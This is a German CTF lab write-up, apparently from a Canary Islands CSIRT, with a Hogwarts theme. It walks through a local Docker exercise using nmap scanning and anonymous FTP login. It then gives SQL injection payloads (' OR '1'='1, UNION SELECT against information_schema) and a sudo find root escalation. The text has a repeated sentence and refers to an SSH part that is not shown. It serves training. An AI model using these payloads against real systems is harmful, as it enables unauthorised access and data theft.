CSIRT-CAN – Centro de Respuesta a Incidentes de Seguridad de Canarias

Das Zaubererpokal-Turnier

🪄 Willkommen in Hogwarts, der Schule für Hexerei und Zauberei 🪄
Das Zauberpokal-Turnier beginnt in Kürze.

Ihre Aufgabe ist es, diese verzauberte Welt zu erkunden, verborgene Geheimnisse zu lüften und verschiedene versteckte Flaggen zu finden, die Ihre Fähigkeiten in der digitalen Magie auf die Probe stellen.

Bereiten Sie sich auf Herausforderungen vor, die Ihre Privilegien erweitern, und beweisen Sie, dass Sie eines wahren Zauberers oder einer wahren Hexe würdig sind.

Sind Sie bereit, die Herausforderung anzunehmen und die Geheimnisse von Hogwarts zu lüften? Möge die Magie mit Ihnen sein!

VORAUSSETZUNGEN

1. Container starten:

./auto_deploy.sh hogwarts-ctf.tar

2. Mit nmap prüfen, welche Ports geöffnet sind:

nmap -sS -sV -Pn IP-Lab

Beim Scannen der Standardschnittstelle des Hosts im Docker-Bridge-Netzwerk scannen Sie den Host von außerhalb des Containers und nicht die Ports, die Docker lokal auf Ihrem Rechner gemappt hat.

Weitere Informationen erhalten Sie mit folgendem Befehl: nmap -sS -sV -Pn localhost

Wenn Sie localhost scannen, sehen Sie die von Docker an den Host gemappten Ports (z. B. 8080:80, 2222:22 usw.), da Docker NAT durchführt und diese Ports lokal auf Ihrem System bereitstellt.

Viel Erfolg bei der Aufgabe!

LÖSUNG FÜR DIE CYBERÜBUNG

Port-Scanning

Sobald der Container läuft, führen wir als Erstes einen Port-Scan durch, um den Ausgangspunkt unserer Untersuchung zu bestimmen.

Lösung: `nmap -sS -sV -Pn localhost`

Dies liefert eine Liste der offenen Ports. In diesem Fall wären die Ports:

• Port 2121
• Port 2222
• Port 8080
• Port 8443

HINWEIS: Ich würde der Reihe nach mit Port 2121 beginnen.

FTP-Dienst

Unser FTP-Dienst (File Transfer Protocol) befindet sich auf Port 2121. Für den Zugriff benötigen Sie Zugangsdaten, die uns jedoch nicht bekannt sind.

Eine typische Schwachstelle dieses Protokolls kann durch eine Fehlkonfiguration entstehen, die den Zugriff als anonymer Benutzer ermöglicht. Dazu müssen wir Folgendes tun:

TIPP: Versuchen Sie, sich als anonymer Benutzer anzumelden.

• ftp anonymous 2121 (Eingabetaste drücken)
• Wenn Sie nach dem Passwort gefragt werden, drücken Sie die Eingabetaste.

Jetzt, da wir angemeldet sind, können wir prüfen, ob relevante Informationen hinterlassen wurden und diese lesen. In diesem Fall haben wir die Zugangsdaten für den Benutzer „hermione“ erhalten.

• ftp hermione 2121
• Passwort des Benutzers

Wenn wir uns mit den neuen Zugangsdaten erneut anmelden, haben wir Zugriff auf Tom Riddles Tagebuch und erhalten einen neuen Hinweis für den nächsten Dienst (Web).

Webdienst Teil 1

Wenn wir unseren Browser öffnen und https://localhost:8080 in die Adresszeile eingeben, können wir auf die Website des Zaubereiministeriums zugreifen. Dort finden wir eine Suchmaschine für Ministeriumsdokumente.

Als Erstes sehen Sie eine Liste der zuletzt gesuchten Dateien. Idealerweise sollte der Schüler diese herunterladen. Dazu sollen sie die Dateinamen aus den Vorschlägen kopieren, in die Suchleiste einfügen und die Dateien herunterladen. Dies nennt man die „Rabbit Hole“-Technik (sie verschwenden Zeit mit der Suche nach unnötigen Informationen, um Sie in die Irre zu führen).

TIPP: Kopieren Sie den gesamten Dateinamen und suchen Sie dann.

Wenn sie keine Lust mehr auf die Suche haben, sollten sie oben auf der Webseite einen Anmeldebutton sehen. Sie sollten die Zugangsdaten des Benutzers „hermione“ verwenden, da uns nur diese vorliegen.

Nach der Anmeldung als „hermione“ erscheint eine neue Datei in den Vorschlägen, die jedoch teilweise ausgeblendet ist. Beim Versuch, sie herunterzuladen, erhalten sie eine Meldung, dass sie nicht über ausreichende Berechtigungen verfügen.

Ziel dieser Aufgabe ist es, die Berechtigungen schrittweise zu erweitern und schließlich Website-Administrator zu werden.


Webdienst Teil 2

Wenn wir unseren Browser öffnen und https://localhost:8443 in die Adresszeile eingeben, können wir die Webseite der Gringotts Bank aufrufen. Es erscheint eine weitere Suchmaschine, aber diesmal suchen wir nicht nach Dateien. Stattdessen werden Informationen über berühmte Personen oder andere relevante Daten angezeigt. Dazu benötigen wir SQL-Kenntnisse, um die verknüpfte Datenbank abzufragen.

HINWEIS: Wiederholen Sie Ihre SQL-Anweisungen und denken Sie an UNION.

Für diesen Dienst gibt es einen Benutzer namens albus_dumbledore, der normale Benutzerzugriff auf seine Datenbank hat und eine MySQL-Sicherheitslücke ausnutzen möchte. Er möchte jedoch mehr Tabellen als nur seine eigenen einsehen.

• Alle Datensätze in der Tabelle „Azkaban“ anzeigen: ' OR '1'='1

• Datenbanknamen anzeigen: ' UNION SELECT database(), null #

• Andere Tabellen in der Datenbank anzeigen: ' UNION SELECT table_name, null FROM information_schema.tables WHERE table_schema = 'gringotts' #

• Bestimmte Spalten in der gewünschten Tabelle anzeigen (z. B. „ollivanders“ in diesem Fall):

' UNION SELECT column_name, null FROM information_schema.columns WHERE table_name = 'ollivanders' #

• Werte in der Tabelle „ollivanders“ anzeigen: ' UNION SELECT info, null FROM ollivanders

Diese letzte Tabelle liefert 
Diese letzte Tabelle gibt uns einen Hinweis zur Rechteausweitung in SSH, um vom Benutzer „severus_snape“ zum Root-Benutzer zu gelangen.

SSH-Dienst Teil 2

HINWEIS: Was sollten Sie überprüfen, um Ihre Rechte auszuweiten? Sie haben es bereits getan.

Wenn wir wieder zum Benutzer „severus_snape“ wechseln und den Befehl `sudo -l` erneut ausführen, sehen wir, dass der Befehl `find` als Root-Benutzer ausgeführt werden kann:

• `sudo find . -exec /bin/bash \;`

Jetzt sind wir Root und finden durch die Suche im Root-Verzeichnis unsere letzte Flagge. Damit ist die CTF abgeschlossen.